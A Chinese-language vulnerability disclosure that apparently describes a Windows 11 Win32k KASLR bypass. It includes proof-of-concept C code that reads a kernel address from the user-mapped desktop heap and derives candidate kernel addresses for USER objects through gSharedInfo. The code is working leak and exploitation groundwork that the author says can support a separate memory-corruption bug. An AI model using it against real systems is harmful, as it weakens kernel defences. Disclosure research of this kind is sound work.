CVE-2026-50416: Windows 11 KASLR 绕过
在受影响的系统上,从 Win32 桌面堆的用户映射中读取时返回了一个内核地址:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
这就是整个披露内容。起初它只是一个带有令人信服的高位的八字节值。我花在检查这个值后面跟着什么上的时间,比阅读它本身还多。
微软将该问题发布为 CVE-2026-50416,这是一个被归类为 CWE-200 的 Win32k 信息泄露漏洞。
PoC 从 x64 TEB 开始。GS:[0x30] 给出当前 TEB,在我测试的构建中 TEB + 0x800 到达 Win32 客户端数据,而槽位 5 包含桌面堆的用户地址:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Slot 5 是客户端数据中再偏移 0x28 字节的位置。Trellix 在 Windows 10 1909 上研究 tagWND 映射时记录了相同的 TEB + 0x800 + 0x28 路径。这些偏移量并非 ABI。我将它们硬编码,并在使用映射区域之前对结果调用 VirtualQuery。
指针检查涵盖规范的 x64 符号扩展、八字节对齐以及已知的哨兵模式。该值随后还必须通过下面的行为测试。
主 PoC 读取偏移 0x100,创建一个 STATIC、一个 BUTTON 和一个 EDIT 窗口,再次读取它,销毁这三个窗口,然后再读取一次。
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
/* Create STATIC, BUTTON and EDIT windows. */
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
/* Destroy all three. */
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
三个 QWORD 均匹配。那些窗口分配来了又走;0x100 处的值却没有变。
kaslr_sandbox_proof.c 负责进程比较。父进程通过管道重定向每个子进程的 stdout,解析子进程读取到的 QWORD,并将其与基线进行比较。
附加到默认桌面的子进程返回了相同的值。被分配到由 CreateDesktop 创建的桌面的子进程则返回了不同的值。该测试框架还测试了 Low 完整性、AppContainer、其 LPAC 配置以及 Low 完整性 AppContainer 子进程。它们都从各自的 TEB 和映射中执行读取,而不是接收父进程的值。
supporting_proof_no_window.c 在不调用 CreateWindowEx 的情况下执行读取。不需要新的 USER 窗口。
主 PoC 将泄漏值减去 0x40 视为与桌面堆对应的内核侧基址:
ULONG64 candidate_kernel_heap_base = leaked - 0x40;
然后它查找 user32!gSharedInfo,将 HWND 的低 16 位用作 USER 句柄表索引,并按 HeEntrySize 在 aheList 中前进。如果该条目中的第一个 QWORD 非零且小于映射的堆,PoC 会将其用作相对桌面堆偏移:
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
if (heap_offset > 0 && heap_offset < heap_size) {
BYTE *user_candidate = desktop_heap + heap_offset;
ULONG64 kernel_candidate = candidate_kernel_heap_base + heap_offset;
}
这与旧式桌面堆技术中使用的一般关系相同:用户视图和内核视图将对象放置在各自堆基址的相同偏移处。Unit 42 提供了关于 USER 句柄表以及较早的 gSharedInfo 和 HMValidateHandle 地址泄露的有用背景资料。
由此得到的地址即为 PoC 的内核对象候选地址。0x40 关系、句柄项布局以及 TEB 偏移均属于测试所用的构建版本。
我将对象候选地址保留在此处。desktop_heap + 0x100 处的 QWORD 已经是用户可读映射中稳定的内核空间地址信息。一个独立的 Win32k 内存破坏漏洞可以用它来替代地址猜测。